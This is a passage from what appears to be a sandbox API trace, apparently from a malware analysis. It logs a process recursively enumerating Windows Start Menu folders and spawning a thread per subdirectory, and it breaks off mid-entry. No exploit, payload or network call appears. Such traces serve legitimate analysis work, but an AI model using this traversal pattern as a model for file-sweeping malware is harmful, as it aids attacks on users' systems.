ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="displayswitch.lnk", cAlternateFileName="DISPLA~1.LNK")) returned 1 [0144.738] wcscmp (_String1="displayswitch.lnk", _String2=".") returned 1 [0144.738] wcscmp (_String1="displayswitch.lnk", _String2="..") returned 1 [0144.738] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Math Input Panel.lnk", cAlternateFileName="MATHIN~1.LNK")) returned 1 [0144.738] wcscmp (_String1="Math Input Panel.lnk", _String2=".") returned 1 [0144.738] wcscmp (_String1="Math Input Panel.lnk", _String2="..") returned 1 [0144.738] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mobility Center.lnk", cAlternateFileName="MOBILI~1.LNK")) returned 1 [0144.738] wcscmp (_String1="Mobility Center.lnk", _String2=".") returned 1 [0144.738] wcscmp (_String1="Mobility Center.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkProjection.lnk", cAlternateFileName="NETWOR~1.LNK")) returned 1 [0144.739] wcscmp (_String1="NetworkProjection.lnk", _String2=".") returned 1 [0144.739] wcscmp (_String1="NetworkProjection.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0144.739] wcscmp (_String1="Paint.lnk", _String2=".") returned 1 [0144.739] wcscmp (_String1="Paint.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0144.739] wcscmp (_String1="Remote Desktop Connection.lnk", _String2=".") returned 1 [0144.739] wcscmp (_String1="Remote Desktop Connection.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snipping Tool.lnk", cAlternateFileName="SNIPPI~1.LNK")) returned 1 [0144.739] wcscmp (_String1="Snipping Tool.lnk", _String2=".") returned 1 [0144.739] wcscmp (_String1="Snipping Tool.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sound Recorder.lnk", cAlternateFileName="SOUNDR~1.LNK")) returned 1 [0144.739] wcscmp (_String1="Sound Recorder.lnk", _String2=".") returned 1 [0144.739] wcscmp (_String1="Sound Recorder.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sticky Notes.lnk", cAlternateFileName="STICKY~1.LNK")) returned 1 [0144.739] wcscmp (_String1="Sticky Notes.lnk", _String2=".") returned 1 [0144.739] wcscmp (_String1="Sticky Notes.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Center.lnk", cAlternateFileName="SYNCCE~1.LNK")) returned 1 [0144.739] wcscmp (_String1="Sync Center.lnk", _String2=".") returned 1 [0144.739] wcscmp (_String1="Sync Center.lnk", _String2="..") returned 1 [0144.739] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0144.739] wcscmp (_String1="System Tools", _String2=".") returned 1 [0144.739] wcscmp (_String1="System Tools", _String2="..") returned 1 [0144.739] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x936090 [0144.739] wcscpy (in: _Dest=0x936090, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0144.739] wcscat (in: _Dest=0x936090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0144.739] wcscat (in: _Dest=0x936090, _Source="System Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" [0144.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x936090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcfc [0144.741] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0144.741] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0144.741] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0144.741] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0x9ad488 [0144.741] wcscpy (in: _Dest=0x9ad488, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0144.741] wcscat (in: _Dest=0x9ad488, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0144.741] wcscat (in: _Dest=0x9ad488, _Source="Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" [0144.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ad488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd00 [0144.742] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Center.lnk", cAlternateFileName="WELCOM~1.LNK")) returned 1 [0144.742] wcscmp (_String1="Welcome Center.lnk", _String2=".") returned 1 [0144.742] wcscmp (_String1="Welcome Center.lnk", _String2="..") returned 1 [0144.742] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0144.742] wcscmp (_String1="Windows PowerShell", _String2=".") returned 1 [0144.742] wcscmp (_String1="Windows PowerShell", _String2="..") returned 1 [0144.742] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97bc28 [0144.742] wcscpy (in: _Dest=0x97bc28, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0144.742] wcscat (in: _Dest=0x97bc28, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0144.742] wcscat (in: _Dest=0x97bc28, _Source="Windows PowerShell" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" [0144.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97bc28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04 [0144.743] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0144.743] wcscmp (_String1="Wordpad.lnk", _String2=".") returned 1 [0144.743] wcscmp (_String1="Wordpad.lnk", _String2="..") returned 1 [0144.743] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 0 [0144.744] FindClose (in: hFindFile=0x941df0 | out: hFindFile=0x941df0) returned 1 [0144.744] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9113b8) returned 1 [0144.744] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7448) returned 1 [0144.744] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6878) returned 1 Thread: id = 1940 os_tid = 0xbf0 [0141.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x8ebed8 [0141.670] wcscpy (in: _Dest=0x8ebed8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0141.670] wcscat (in: _Dest=0x8ebed8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\" [0141.670] wcscat (in: _Dest=0x8ebed8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*" [0141.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0141.670] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421b0 [0141.670] wcscmp (_String1=".", _String2=".") returned 0 [0141.670] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.670] wcscmp (_String1="..", _String2=".") returned 1 [0141.670] wcscmp (_String1="..", _String2="..") returned 0 [0141.670] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Component Services.lnk", cAlternateFileName="COMPON~1.LNK")) returned 1 [0141.670] wcscmp (_String1="Component Services.lnk", _String2=".") returned 1 [0141.670] wcscmp (_String1="Component Services.lnk", _String2="..") returned 1 [0141.670] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computer Management.lnk", cAlternateFileName="COMPUT~1.LNK")) returned 1 [0141.670] wcscmp (_String1="Computer Management.lnk", _String2=".") returned 1 [0141.670] wcscmp (_String1="Computer Management.lnk", _String2="..") returned 1 [0141.670] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources (ODBC).lnk", cAlternateFileName="DATASO~1.LNK")) returned 1 [0141.670] wcscmp (_String1="Data Sources (ODBC).lnk", _String2=".") returned 1 [0141.670] wcscmp (_String1="Data Sources (ODBC).lnk", _String2="..") returned 1 [0141.670] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0141.670] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0141.670] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0141.670] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer.lnk", cAlternateFileName="EVENTV~1.LNK")) returned 1 [0141.671] wcscmp (_String1="Event Viewer.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="Event Viewer.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI Initiator.lnk", cAlternateFileName="ISCSII~1.LNK")) returned 1 [0141.671] wcscmp (_String1="iSCSI Initiator.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="iSCSI Initiator.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="MEMORY~1.LNK")) returned 1 [0141.671] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance Monitor.lnk", cAlternateFileName="PERFOR~1.LNK")) returned 1 [0141.671] wcscmp (_String1="Performance Monitor.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="Performance Monitor.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print Management.lnk", cAlternateFileName="PRINTM~1.LNK")) returned 1 [0141.671] wcscmp (_String1="Print Management.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="Print Management.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security Configuration Management.lnk", cAlternateFileName="SECURI~1.LNK")) returned 1 [0141.671] wcscmp (_String1="Security Configuration Management.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="Security Configuration Management.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0141.671] wcscmp (_String1="services.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="services.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Configuration.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0141.671] wcscmp (_String1="System Configuration.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="System Configuration.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0141.671] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, 